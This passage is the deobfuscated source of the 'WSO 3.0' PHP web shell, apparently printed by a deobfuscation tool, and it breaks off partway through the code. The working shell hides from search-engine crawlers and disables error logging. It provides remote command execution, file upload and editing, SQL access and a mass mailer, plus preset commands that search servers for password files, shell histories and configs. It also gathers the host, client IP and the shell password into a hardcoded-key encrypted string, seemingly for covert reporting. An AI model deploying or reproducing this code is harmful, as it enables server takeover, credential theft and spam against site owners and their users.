kUlZoTDNYaGtaZ05DYks2Qm5xZ2ZsVDFQS1N4MlRUa0poR3pRVEpjUG05K0ZqZ2VqMXFsbU1oQ0NOTWRLRmlSRzdyUEhHTkZiUjBtRXA5ei9EcENoakZSZ01MWHhEKzYyTnRZRkJuWVFhTjcydFhEaGRBYUxva3hUWXhyemxsWE5mYjI1bnBYU2Z2RXNWRElIZ1hCZ3ZYeDJsRndybkUrUG1kVVhHMzRYV1RrUmVhSW1VZDg2RTdhL00wRUgzbzJpNVAxV2ZBZFdxWEdsOFlWT2VtT1UzTW9kUXh4aTNsL3QwOXBCVXJ2NEZTSDhzUWtRaWgvQlJ2K3lIT0U0eDlKK2I2bjlISkwrU1BaNVNpbi9XcVJTakNNTCtaQ3RmOGd3ayszTk9CRjcxYk5RVWV1bERSSXNUVTRWbnQydEQ1SGZnT053MWRLenk0eDV4SVhoY1l2WWlQVE9zTzVlRmlGWmFDZkhIZWZWbnp2OXhFVHJNRjFnckNhcjFaZXM5VVBxNzdOSjExbE9KalFoQUNtUFI0amZjenNuNWtxdTIvOWphd0N3bzZaRFVrZ3FBSXZxcEhKaXEvdlBWMjZlZ3JwVVMrU0VScG5WRXYwRHVhTWlYdFVEZDAyQzhzREx5RFY5MUY3eUdpeFp6S1hpT0NTZVZ3THF3WllVbEM3K1F1UXYrQWhDRDlRWjlIaHYyOERyYlAzc2IvZTVFSFUyNEJhcjVudzFVOWhyK0JhR3lvckhiWjZBV3pFamZKMVk3Nkg5WkFmZHZwSWlNRm1uOGtENzlSK1VPUGtyMlQ0K0JlVnFmTmJTTENCSHZxZDVxOGJYNEJjQmV2R01kMkdwaThDM0NIek9aT3ZjbnZ3Vk1qbllxYjVSOUtwNDBmRmJhSGtiTzZ1d2UxMTJQYytKcGVoaDRTKzJVUktCQ2o4TWk0Um9IZEkzV1h6VmI2aWp3SjZNVmh4OCtEU2luSHhJSHBER1pJYVBhQnJZaVVKaWpYdTZkL3drUHd1TWYrQ2lLeDdvSVN2aDZvOVNHU3FhMHhUSmJQSHMrZWRZSVhkbEZRMUpKaFRuV2ZZMXVyWG54SGNPRndHNk5VYS9DNnJPTEN2dUZWZkRRZjRTSlBndlIxZ1NTVEs5Ylg3dkE3b1hKOUgyRDZZYmdJbUowdEk0SVhCaVJrUzdXNEkrUmxBbkhhRXZncDI1b2t3Zk8yU2QxVDN4TFN2ZlR5cVpiaGZ6T3J3ZUo5RDcvdVJDNTlIdE9hTVNTL0xmR2s1OS9qUndSUUdwNVBrc2drSDVoOGVBMlcwVnFaeWdMYm1DQTJSdXJrQ2dKWE0vL2FSY2VrUmZLSjBoS05jUmRPdEluWk04OG5MT25iWStWRko1L3ZOOVZoRVlDVEx0dmQyeEZaSkI2bkhkQVMyK09oT3YxTWU2U0ZUWDV2d21USzR2TVZZRVNpazhvbVQ2cDBwQVFsMjVOTnBoZTdXL21vTXNONWtXQnVDOXFVWDdhTUNGQzlsRi8vYzV0T2RkdHF5ZnZPWTdVVVBtYTNsY3dIYlFNNnJ5SlJnb1Zhc0NxbmY1WUZkZE1aQzN5bExERVpOVXZQRVpmTG9nYThidHU1Rk5ZZ2RLMDlJOW90NGhpSC9DRzNBclJ5QmxrZzMvZDJlZ2l3R2p2SFJTNXU0WDZST3Y2cEh6VXAyWExvUklxQmYwVzVSWDJucW16WVB1OHJKVjF3aXJjKzBMZm1SanVCNHZ6SDVtK3VJTHlIZHkvelo0L0FORXNVTVFDNXVmUE5zVnNwZWR3K3hvYmNvU2tHOC9XMnlaYSsrUzFiQUNIN280ZHBzeU5aQ0hKdzRkTkIweHNXMDN6Wld1SU9OckM4Y0ZkQVVmZHJFUlplVm5HWksybDlyL3lBaU9WWVBLeGVLUzFnNVN6dXQ3M0ZYUlVZazd6eVNydDdlSkM4dFlEYTE0eHM5NnR5aEpyODdkNS8yQmZzMlVOYjdqVjRiTkRMU3BpYzMzVVhwMXZudnFWTmlmSllPSTVrejBBSU8zbDRKSDE4V2NRTlBaRzZBNzRnUm5reE9UdnRHRTcxVEVzbnFzSDkyUGxuY25YNitxYUdoZHdVdEt3UjhJdTBGa0xIc3FSN24xdnc0eEc1UWMzMzJERUF3YUVHSGZVNVZSTFJsOU9nSCtuM0pNa2ozRThmOWh6ZmRUOHZyQit4cDZyMGZhb0NKNDQzR0lVV1UvaDVYZ2lMYXBuNGVIZmpRMFdmMGFRc004SjMyQ3N1RWRoTS8rY2tpM2wvb2I4eCtRZnVYU3ZWZ2Z2enorU3lPcnk1MmR1eVBNR2l2MUc5NUx3NHpZSGl4LzVwZnFvRUZVempkamdOYm5md295czh6NFhoL1VZTlU0OHdUbWc4c21TYVNvN3RRTFdHZ0VrU1ZzdnU5V29lZHdpVDZFTUp4TkZhUm9GcHBLbEJQeTV1OTl3UGRlUTNaR0E1R1pyNEFLdFBLbmpDeWZ0TjBYdWdla3RVSXJkR1p3eCtrNVpGeFhnY0M2Q3R5L0NCZktXL05RMldaRVdjY0hFL2orR3ZjMzNlcGtmTWQ4S3krbVoxRlFNUE9xU1RMYmN3VFVHUk9nbVJuS3F5MGN2TXJjNzhFcDNEQmJwNEdYR054WGovZEZQVHdFZGVUNm45dmpoaE1sMnVRazJYdkMrTjRCelAzM01nNEVuWmV3clZxMW5nMTdMWUFRVDE1b1ByNzdIM1BsRll4bUpZUnRHOTBrL2RDRU9tU0paT3dhV1F6Q2U2NVBKNFliU25LOHdkU3RVUVFVMXRYTVJBZlFrZHh2bkUvMVFwUUVCWHUyZ1hTVlZkZU1Dc1A5WTltRU42dlQ2M1RDK0JkQ1pqRzZDVXA3VlFrSjQvRm85OEFwV2tjNkd4Z3VhOUVFM1pudEdDV01GcWgreEp5aVpnenJhc1labGJwU1QyWTY5cjAxZGw2Tkg1c1hiTUE1dGJzUjhqS0dVYmF5MEpmVmxvbW5xa1FSWjdoSmFmcFZNSGRsYXEvQms5QzdhTGZMK3k2azhpZmh0a1hZSlJwcUVYbHh6ekw4dnlDNEhldkZRZVVRc1RqeWJsZVVoZDJ4UEs2STRUUmJHdWpzYU5FcWRGOXl6UVdFSjQ3WHBmMFdlRVlhSWhPeGwvTi9YeFh5OFNsVkROYVhXYjdPK1E1RUtZb0ZSYXJQNDRxQVhpb2w2bTBXOHFkREQrOC9mNTY2eEpybnlZdVJCczg5cm1vcnNUSTN5S2JQNmVBV3B6OXFpZ0QwTUduQWlaelR1a3duK1M0UUNKZ0hvVDNGTWRQOTkwU3ZrUzdnVG54aVhyVTc0QWxPb0tZTVc3UzR4anFvLzRTZTVyU3hFcDh5TThsTXp6QmxOSUkrTWxnMzBweXlkdk4reU96U3kxMWNpL1hmN0IrQnBWVW0waWRhRmM3YzRTRVBSMXcwVWpmSWNuUDlLdTE3M3NjV3RoOFQ5Wmw1SWpTcWVzM09SQS9tTTdiTS9kSDJTSFhYTWlINVllcmUwdC9qd3BuejlNTk1sOTE4dTQwQU53QThlb1lZNnJQdVh3THVEdW8zWVdCZkVrMDlLR2g5T1U0RGpxTzdrNHBMWXNyVVJWczI5bmwxekhSaXZHcmVrbGt5aVFubTZXN2Vubmk0RVA1ZlEzTjNEZW1mZzd2M2xzWUk3VXN3V0ZCVGNjMFJzUFg4Ulp3YjF0Ymc5b1RVQnBQQmZSeWFiMTIrQTZSemtmZGV0Rkp3emFBT3ZEcVY4U0xOR01ramNTWGQrQ1NuMnAzeEszdnViQXZkVXlGaUZ5aSsvb0dXNUxSbVJYVmVqS2Zqc0oyc0xSUlBlYTV0TkZPbVNmWk9HZlhPZ2prSit4OUxKUnJ4WmtoY2loMldvbHBCcEkwTmpwSnd2MTFpZmdueGpwRTgybzE1Ulh5eXhmY1V1ZnNKK2JSeWlMeGtXVGpIcUJCajJpUDRRcnN0L3RvcmkrMTFlL0dkR1U1SzcvZDBnTmUwYlFBUGg1aHlNYmFiOUtnTk02NTY5dk8wRGczZ2oxU1FMNXZhVnFMU0l0Ty9OVVVYT1VKUmFlZmtYRkJmamhDV2pJMjVzOURoY1Q5N1BRSWl5Y3RnKzZzVEhnVXJ0eFlST1ZRYXF5U0NWU3haRjNMVjg4MWZ3bVN1Smtpc3ZEVDdreGdZV2wwdm9Eb0M1bHFsMmx0Ui9Bc2NkL0dKMitPdEQ1OUFyNk9IOTVUaVpYU2JQb1JLOWYxZzYra01rbkZTY09JOUJ2d0xaZWFKK05HUjM2dFBNWDNCN2pLMnRuclptQkZpQ01KUUM1NGVPR0JGTXZ1Y3FqMWRRdy9qY1lwWlZqKzRFVWxhejEvNlV4d2I2a3NOK3o5V0x3dFAxMFBTdXFtSm4wcWY2anU3MTNXQjZKNklmb3lhc1R4WkNzWkRzZEoxMnFkUk5MVVJTTzRQNmI0aUdwcTJNNDd4RkR4WS9XODBERGp4S1ZmVGlBOGNZakdoMkpDVUp2UzZOWEI2Tm1vdGVCWCsrdlhuVEFiQmtwd1hMeGhkQ2h1WndyM0huaTRsR1AzRVI3SXh5ZHVnZzF0VEU1OGtVNHRodFRQeThDM0pUbWRhUUMzWnFDUlBaQktjN3VFazk2ajg4K3gxS0d0ajlEWWsrV1pkYnV5aDBKOVVzUCtWTnhNOGhGTXF3Wkp3OS9CN0ZBQk94TzROYzZPYlVRRUtLNWlqelhrckV1cUhyRVM1UzNVVDVVYzFteElJbEJFUmJkMEJURHQ5bVk0aUJxdllMbkJHR0lQWjBsMzVGK1JWMXVyb0xNZDAvZzZWWmZFdDc4TlFnb1dybGRUcHVsd3haUUpwdnR0WEpETnI2UHRrditFdlBlSHdweG9xbmFMOHp5STBxbFZJQmcvVUU2bkZLRnJPNjFxbU9rRWpkK1loWHRIZEE5S3ZIUzU1cTZaaU5zZmVxYWc4ZGtBaFVsbjdKQWdiNDgzNDh0N0tVV2NGaGZ0N05GZHZ0akQvTnk2VDd2TG8wcXhNcHpEVkVQSTBUcXQ5ZUJSekZzR1k4bU9adkZ1K0xkL1BBYUtSMVkxWFJnSEtWaVpVa1QyOHRwbTFQNU5Ka3lRbHZGWlplek1CTDZrR0lSMklCajZiQkl2UmJSNWgzSTNFbmJMaXpXY2RudWVCemc1cWZzUUZaV05YNGZHd3oyR1hvN1Fibys0RjZwRytFd2lLUk56SXdaSitVakY1VThoc3JlZTJMS1FmVm1oOXpmb3AycXZCMXlhVzNjSGVZU2xSM3FwN0xkNkgzOUw0SmYvU0pEbEMyTzlRVVNvRHNrTmdvZUJiZ055WC9tdGpZcnhwdmVxTkgwTnY4MWM5Ri9ZaGNTWE9UTmZVeUlxTkMvNVVQbkdSc3FEOE5TbVF5bHNCYitjSHRLTXQrSmVJZWdGcXFYbHA4UWRUbmxOUUpDVUMybjBjQmh0TzJDclNocHFTT0xVaXZkVTBmOEFrVnY2N2JENnpaSklMZFR1RHV5RldZT0NjdWVmamsyOWp0dEtCSndMQ0lFZDEwa3Z5NHlLTy92SmtuMVMvQlF3d3ZwMzhtV2VRSStzU2M4WG1OandZTmJ5Mzg4OEJMcCtaVk1GMU04UjArMEpKdFZGa0paR00rcjVYRnZjdTluQ2pHY2hEQnlYTmltWkZnWHFVc2tLZFRxd2Y1RnpaNFNaTzJjcUhrdm4wMTVncGVPZmllSUlGUzFMNXEyKzIrZzZhSlBSWTFsVERadHN1SGhZaFJxQlJEekhZUFBxcHo3V2UzeUFYMlRmd2RtdDZsMzlySkJvOEtFbU1Bc0xPRXNjWDR1VXpiOXc5Yk9XaEVwQlU2YU0xOWJkZ0lWZzJ0ZmE4KzVSQVJKWC9lSjloQnJQRHR0UjhMd0hrNFlOcnA0aHlkY1NNakt4YnNPM0VVNWExYjdURzExK2U1ajZMZVhHS1h6dU92K0F1MjlEbHBlcm83ZGg0MFlHc2tNRDVlMW81clpkL213VnU2dXkyNTJrejdmRWx6anh4R1lSKytZWnpEb0J0TFRqY2tmYjhkN1NIK25vS3lWa2VObnZxdWs1clpOZGYwSnBBOWNMSlNGSzEvTzhnUkdidDBpRHhXVnVlUU1OUnRoUDF4Z0MycDczNTZodExpNHdzdU5SN1JCZkVDc0NWbXZtUG8zNXVPL2hOSGozS2VWT3lrSFdnQWdmNUFnazBoY1R5Zm8wTEcvY0lWNkZiNitXbkFBUnFPTm82SDVNYTBKU0hWMVZodVRtbk53c3VqbHVLRTdiVWpXZjYrY24wZCtwaGZKcXp5UFNtSFJmdkJWNVdaSXJyMzR6M1dOYnJjNzVxaEMwZTE0cXl3dFI5K0hZQmoxcHo2N3hrZHZrb2R5c01WK2RFNFE5T3ZuNzI4WTY1ZXdudEJUbktmdzBXN1ZMWXdFQU83QTVwSWd6NWhVSmVFZVRNenZ6K3g1WlU1R042cW1Yc2xReG1ROXB1c0pVRnExeVhiV3NQRTEvS09UdllpMFhXdXhMNUMrZzZMamdWdjlTSHN0TFU3aElQaEFTeXpWNEVHQ2JRRUxQNGhHSGVmNm5OaXZ4Qm1JTWxQN1dJWkRqSU4ySzN6d2tISHRzR3NLY0huNFYyK1pKNll2M0NYWTVSaU1LRkxic1NpcWcrb0ZKdlRlbmRvUUtvN0JIMTIwUmdwVGloWTkzWll0NFI5dUxrbmczUlhnVHR4dXJpeWN6UThReUh3UDVxYzlvWWlNS2dnRDkrd29CRjN4RzVMLy8vZTkvLytmL0FwelMvN0E9JykpKTs=';
eval /* PHPDeobfuscator eval output */ {
    $i36a5b40d1c045b306bae996e35575524 = "gzuncompress";
    $f6a8ed4344ccc4a5ec350549fe4a56c1a = "base64_decode";
    eval /* PHPDeobfuscator eval output */ {
        $hf4967d9a18c9e1550a7d3403b8234e89 = "gzuncompress";
        $mded9c6ff1375691dcd97038aaf2c4048 = "base64_decode";
        eval /* PHPDeobfuscator eval output */ {
            $sf947c766ced66a1aad1ec87353f35201 = "gzuncompress";
            $j926a397a950e0f47a70d6bf28d24022c = "base64_decode";
            eval /* PHPDeobfuscator eval output */ {
                $h809a822ccb6914787eced822df358b10 = "gzuncompress";
                $b2e6deaf56a53528c742d8299268e1ef6 = "base64_decode";
                eval /* PHPDeobfuscator eval output */ {
                    $qd6be9fba45ba7729a0522b4fd5e651c7 = "gzuncompress";
                    $w146649006ca450758442f073b288b44d = "base64_decode";
                    eval /* PHPDeobfuscator eval output */ {
                        $e5323aa7f4c0e14c8c5c0c2e2b6b9d61d = "gzuncompress";
                        $v915b8b0aa87fbdfbbcf657b960784c72 = "base64_decode";
                        eval /* PHPDeobfuscator eval output */ {
                            /* Reject search engines */
                            if (!empty($_SERVER['HTTP_USER_AGENT'])) {
                                if (preg_match('/Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler/i', $_SERVER['HTTP_USER_AGENT'])) {
                                    header('HTTP/1.0 404 Not Found');
                                    exit;
                                }
                            }
                            /* Settings */
                            $color = '#12ff4f';
                            $default_charset = 'Windows-1251';
                            //$auth_pass='2ff14d14e063ac36b593e3d437005300ea2f77bb';//memes
                            @ini_set('error_log', null);
                            @ini_set('log_errors', '0');
                            @ini_set('max_execution_time', '0');
                            @ini_set('allow_url_fopen', '1');
                            @ini_set("allow_url_include", '1');
                            @set_time_limit(0);
                            if (get_magic_quotes_runtime()) {
                                @set_magic_quotes_runtime(0);
                            }
                            if (get_magic_quotes_gpc()) {
                                function wso_ss($arr)
                                {
                                    return is_array($arr) ? array_map('wso_ss', $arr) : stripslashes($arr);
                                }
                                $_POST = wso_ss($_POST);
                                $_COOKIE = wso_ss($_COOKIE);
                            }
                            function WSO_b64($a)
                            {
                                return is_array($a) ? array_map('WSO_b64', $a) : base64_decode($a);
                            }
                            function WSOcookie($k, $v)
                            {
                                $_COOKIE[$k] = $v;
                                setcookie($k, $v);
                            }
                            if (!empty($auth_pass)) {
                                if (isset($_POST['pass']) && sha1($_POST['pass']) == $auth_pass) {
                                    WSOcookie(md5($_SERVER['HTTP_HOST']), base64_encode($_POST['pass']));
                                }
                                if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || sha1(base64_decode($_COOKIE[md5($_SERVER['HTTP_HOST'])])) != $auth_pass) {
                                    die('<form method=post>Password: <input type=password name=pass><input type=submit value=">>"></form>');
                                }
                            }
                            $_POST = WSO_b64($_POST);
                            $os = strtolower("PHP") == 'win' ? 'win' : 'nix';
                            $safe_mode = @ini_get('safe_mode');
                            if (!$safe_mode) {
                                error_reporting(0);
                            }
                            $disable_functions = @ini_get('disable_functions');
                            $home_cwd = @getcwd();
                            if (isset($_POST['c'])) {
                                @chdir($_POST['c']);
                            }
                            $cwd = @getcwd();
                            if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'])) {
                                $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
                            }
                            $aliases = array('List dir' => 'ls -lha', 'list file attributes on a Linux second extended file system' => 'lsattr -va', 'show opened ports' => 'netstat -an | grep -i listen', 'process status' => 'ps aux', 'Find' => '', 'find suid' => 'find / -type f -perm -04000 -ls', 'find suid in current dir' => 'find . -type f -perm -04000 -ls', 'find sgid' => 'find / -type f -perm -02000 -ls', 'find sgid files in current dir' => 'find . -type f -perm -02000 -ls', 'find config.inc.php' => 'find / -type f -name config.inc.php', 'find config*' => 'find / -type f -name "config*"', 'find config* in current dir' => 'find . -type f -name "config*"', 'find writable folders and files' => 'find / -perm -2 -ls', 'find writable folders and files in current dir' => 'find . -perm -2 -ls', 'find service.pwd' => 'find / -type f -name service.pwd', 'find service.pwd files in current dir' => 'find . -type f -name service.pwd', 'find .htpasswd' => 'find / -type f -name .htpasswd', 'find .htpasswd files in current dir' => 'find . -type f -name .htpasswd', 'find .bash_history' => 'find / -type f -name .bash_history', 'find .bash_history files in current dir' => 'find . -type f -name .bash_history', 'find .fetchmailrc' => 'find / -type f -name .fetchmailrc', 'find .fetchmailrc files in current dir' => 'find . -type f -name .fetchmailrc', 'Locate' => '', 'locate httpd.conf' => 'locate httpd.conf', 'locate vhosts.conf' => 'locate vhosts.conf', 'locate proftpd.conf' => 'locate proftpd.conf', 'locate psybnc.conf' => 'locate psybnc.conf', 'locate my.conf' => 'locate my.conf', 'locate admin.php' => 'locate admin.php', 'locate cfg.php' => 'locate cfg.php', 'locate conf.php' => 'locate conf.php', 'locate config.dat' => 'locate config.dat', 'locate config.php' => 'locate config.php', 'locate config.inc' => 'locate config.inc', 'locate config.inc.php' => 'locate config.inc.php', 'locate config.default.php' => 'locate config.default.php', 'locate config*' => 'locate config', 'locate .conf' => 'locate ".conf"', 'locate .pwd' => 'locate ".pwd"', 'locate .sql' => 'locate ".sql"', 'locate .htpasswd' => 'locate ".htpasswd"', 'locate .bash_history' => 'locate ".bash_history"', 'locate .mysql_history' => 'locate ".mysql_history"', 'locate .fetchmailrc' => 'locate ".fetchmailrc"', 'locate backup' => 'locate backup', 'locate dump' => 'locate dump', 'locate priv' => 'locate priv');
                            if ($os == 'win') {
                                $home_cwd = str_replace('\\', '/', $home_cwd);
                                $cwd = str_replace('\\', '/', $cwd);
                                $aliases = array('List Directory' => 'dir', 'Find index.php in current dir' => 'dir /s /w /b index.php', 'Find *config*.php in current dir' => 'dir /s /w /b *config*.php', 'Show active connections' => 'netstat -an', 'Show running services' => 'net start', 'User accounts' => 'net user', 'Show computers' => 'net view', 'ARP Table' => 'arp -a', 'IP Configuration' => 'ipconfig /all');
                            }
                            if ($cwd[strlen($cwd) - 1] != '/') {
                                $cwd .= '/';
                            }
                            if (!function_exists('posix_getpwuid') && strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false) {
                                function posix_getpwuid($p)
                                {
                                    return false;
                                }
                            }
                            if (!function_exists('posix_getgrgid') && strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false) {
                                function posix_getgrgid($p)
                                {
                                    return false;
                                }
                            }
                            //replacement for htmlspecialchars
                            function HSC($in)
                            {
                                return strtr($in, array("&" => "&amp;", '"' => "&quot;", "'" => "&#039;", "<" => "&lt;", ">" => "&gt;"));
                            }
                            function wsoHeader($title)
                            {
                                if (empty($_POST['charset'])) {
                                    $_POST['charset'] = $GLOBALS['default_charset'];
                                }
                                global $color;
                                echo '<html><head><meta http-equiv=Content-Type content=\'text/html; charset=' . $_POST['charset'] . '\'><title>' . $_SERVER['HTTP_HOST'] . " - WSO 3.0</title><style>body,h1,table.info{background-color:#000}body,td,th{font:9pt Lucida,Verdana;margin:0;vertical-align:top;color:#fff}table.info{color:#fff}a,h1,span{color:{$color}!important}span{font-weight:bolder}h1{border-left:5px solid {$color};padding:2px 5px;font:14pt Verdana;margin:0}div.content{padding:5px;margin-left:5px;background-color:#333}.ml1,form{margin:0}a{text-decoration:none}a:hover{text-decoration:underline}.ml1{border:1px solid #444;padding:5px;overflow:auto}.bigarea{width:100%;height:300px}input,button,select,textarea{margin:0;color:#fff;background-color:#555;border:1px solid;font:9pt Monospace,'Courier New'}.main th,.main tr:hover{background-color:#5e5e5e}#toolsTbl{text-align:center}.toolsInp{width:300px}.main th{text-align:left}.l1{background-color:#444}.l2{background-color:#333}pre{font-family:Courier,Monospace}</style>\r\n<script>\r\nvar c_='" . HSC($GLOBALS['cwd']) . "';\r\nvar p1_='" . (strpos(@$_POST['p1'], "\n") !== false ? '' : HSC($_POST['p1'], ENT_QUOTES)) . "';\r\nvar p2_='" . (strpos(@$_POST['p2'], "\n") !== false ? '' : HSC($_POST['p2'], ENT_QUOTES)) . "';\r\nvar p3_='" . (strpos(@$_POST['p3'], "\n") !== false ? '' : HSC($_POST['p3'], ENT_QUOTES));
                                $kr = $_SERVER;
                                echo "';\r\nvar d=document;\r\nfunction set(a,c,p1,p2,p3,charset){\r\n\tif(a!=null)d.mf.a.value=a;else d.mf.a.value='" . HSC($_POST['a']) . "';\r\n\tif(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;\r\n\tif(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;\r\n\tif(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;\r\n\tif(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;\r\n\tif(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value='" . HSC(@$_POST['charset']) . "';\r\n}\r\nfunction mg(f){\r\n\tfor(var i=0,element;element=f.elements[i++];){if(element.nodeName.toUpperCase()!='SELECT')element.value=btoa(element.value);}\r\n\tf.submit();\r\n}\r\nfunction isB64(str){try{return btoa(atob(str)) == str;}catch(err){return false;}}\r\nfunction g(a,c,p1,p2,p3,charset){\r\n\tset(a,c,p1,p2,p3,charset);\r\n\tmg(d.mf);\r\n}\r\nfunction a(a,c,p1,p2,p3,charset){\r\n\tset(a,c,p1,p2,p3,charset);\r\n\tvar params='ajax=true';\r\n\tfor(i=0;i<d.mf.elements.length;i++)\r\n\t\tparams+='&'+d.mf.elements[i].name+'='+encodeURIComponent(btoa(d.mf.elements[i].value));\r\n\treq=new XMLHttpRequest();\r\n\treq.onreadystatechange=processReqChange;\r\n\treq.open('POST','" . addslashes($_SERVER['REQUEST_URI']) . "',true);\r\n\treq.setRequestHeader('Content-Type','application/x-www-form-urlencoded');\r\n\treq.send(params);\r\n}\r\nfunction processReqChange(){\r\n\tif((req.readyState==4))\r\n\t\tif(req.status==200){\r\n\t\t\tvar reg=new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\",'m');\r\n\t\t\tvar arr=reg.exec(req.responseText);\r\n\t\t\teval(arr[2].substr(0,arr[1]));\r\n\t\t}else alert('Request error!');\r\n}\r\n</script></head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>\r\n<form method=post name=mf style='display:none;'><input type=hidden name=a><input type=hidden name=c><input type=hidden name=p1><input type=hidden name=p2><input type=hidden name=p3><input type=hidden name=charset></form>\r\n<noscript><div><center><h2>SCRIPTS MUST BE ENABLED FOR SHELL TO WORK</h2><p>It is used to handle form functionality, avoid GET requests and encode data to bypass filters among other things.</p></center></div></noscript>";
                                $freeSpace = @diskfreespace($GLOBALS['cwd']);
                                $totalSpace = @disk_total_space($GLOBALS['cwd']);
                                $totalSpace = $totalSpace ? $totalSpace : 1;
                                $release = @php_uname('r');
                                $kernel = @php_uname('s');
                                if (!function_exists('posix_getegid')) {
                                    $user = @get_current_user();
                                    $uid = @getmyuid();
                                    $gid = @getmygid();
                                    $group = '?';
                                } else {
                                    $uid = @posix_getpwuid(posix_geteuid());
                                    $gid = @posix_getgrgid(posix_getegid());
                                    $user = $uid['name'];
                                    $uid = $uid['uid'];
                                    $group = $gid['name'];
                                    $gid = $gid['gid'];
                                }
                                $cwd_links = '';
                                $path = explode('/', $GLOBALS['cwd']);
                                $n = count($path);
                                for ($i = 0; $i < $n - 1; $i++) {
                                    $cwd_links .= '<a href=# onclick=\'g("FilesMan","';
                                    for ($j = 0; $j <= $i; $j++) {
                                        $cwd_links .= $path[$j] . '/';
                                    }
                                    $cwd_links .= '")\'>' . $path[$i] . '/</a>';
                                }
                                $charsets = array('UTF-8' => 'utf8', 'Windows-1251' => 'cp1251', 'Windows-1256' => 'cp1256', 'KOI8-R' => 'koi8r', 'KOI8-U' => 'koi8u', 'cp866' => 'cp866');
                                $opt_charsets = '';
                                foreach ($charsets as $key => $value) {
                                    $opt_charsets .= "<option value='{$value}' " . ($_POST['charset'] == $value ? 'selected' : '') . ">{$key}</option>";
                                }
                                $m = array('Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Console' => 'Console', 'SQL' => 'Sql', 'PHP' => 'Php', 'Network' => 'Network', 'Mass Mailer' => 'Mailer', 'Self remove' => 'SelfRemove');
                                if (!empty($GLOBALS['auth_pass'])) {
                                    $m['Logout'] = 'Logout';
                                }
                                $menu = '';
                                foreach ($m as $k => $v) {
                                    $menu .= '<th width="' . (int) (100 / count($m)) . "%\">[ <a href=# onclick=\"g('{$v}',null,'','','')\">" . "{$k}</a> ]</th>";
                                }
                                $drives = "";
                                if ($GLOBALS['os'] == 'win') {
                                    foreach (range('c', 'z') as $drive) {
                                        if (is_dir($drive . ':\\')) {
                                            $drives .= "<a href=# onclick=\"g('FilesMan','{$drive}:/')\">[ {$drive} ]</a>";
                                        }
                                    }
                                }
                                echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>Kernel:<br>User:<br>PHP:<br>HDD:<br>CWD:' . ($GLOBALS['os'] == 'win' ? '<br>Drives:' : '') . '</span></td><td><nobr>' . substr(@php_uname(), 0, 120) . "</nobr> <br>{$kernel} <span>Release:</span> {$release} <br>{$uid} ( {$user} ) <span>Group:</span> {$gid} ( {$group} )<br>" . @phpversion() . ' <span>Safe mode:</span> <font color=' . ($GLOBALS['safe_mode'] ? 'red>ON' : 'green><b>OFF</b>') . '</font>';
                                $GLOBALS['kr'] = $kr["HTTP_HOST"] . $kr["PHP_SELF"] . '~' . $kr['HTTP_USER_AGENT'] . '~' . $kr['REMOTE_ADDR'] . '~' . (isset($_COOKIE[md5($kr['HTTP_HOST'])]) ? base64_decode($_COOKIE[md5($kr['HTTP_HOST'])]) : 'none');
                                echo ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span>' . wsoViewSize($freeSpace) . ' (' . (int) ($freeSpace / $totalSpace * 100) . '%)<br>' . $cwd_links . ' ' . wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td><td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER['SERVER_ADDR'] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table><table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
                                echo "<h1>{$title}</h1><div class=content>";
                            }
                            function wsoFooter()
                            {
                                $writable = ' <font color="' . (is_writable($GLOBALS['cwd']) ? 'green">(Writeable' : 'red>(Not writable') . ')</font>';
                                echo "</div><table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%>\r\n<tr>\r\n\t<td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class=toolsInp type=text name=c value='" . HSC($GLOBALS['cwd']) . "'><input type=submit value='>>'></form></td>\r\n\t<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class=toolsInp type=text name=f><input type=submit value='>>'></form></td>\r\n</tr><tr>\r\n\t<td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>{$writable}<br><input class=toolsInp type=text name=d><input type=submit value='>>'></form></td>";
                                $GLOBALS['kr'] = base64_encode(function_exists('openssl_encrypt') ? openssl_encrypt($GLOBALS['kr'], "AES-128-CBC", "WhoTheMan?YouTheManfindingTHISHUMdiggityc0de", 0, "QlPxzL18%nhUR7X@") : $GLOBALS['kr']);
                                echo "<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>{$writable}<br><input class=toolsInp type=text name=f><input type=submit value='>>'></form></td>\r\n</tr><tr>\r\n\t<td><form onsubmit=\"g('Console',null,btoa(this.c.value));return false;\"><span>Execute:</span><br><input class=toolsInp type=text name=c value=''><input type=submit value='>>'></form></td>\r\n\t<td><form method=post onsubmit='mg(this);' ENCTYPE='multipart/form-data'>\r\n\t<input type=hidden name=a value=FilesMan>\r\n\t<input type=hidden name=c value='" . $GLOBALS['cwd'] . "'>\r\n\t<input type=hidden name=p1 value=uploadFile>\r\n\t<input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '');
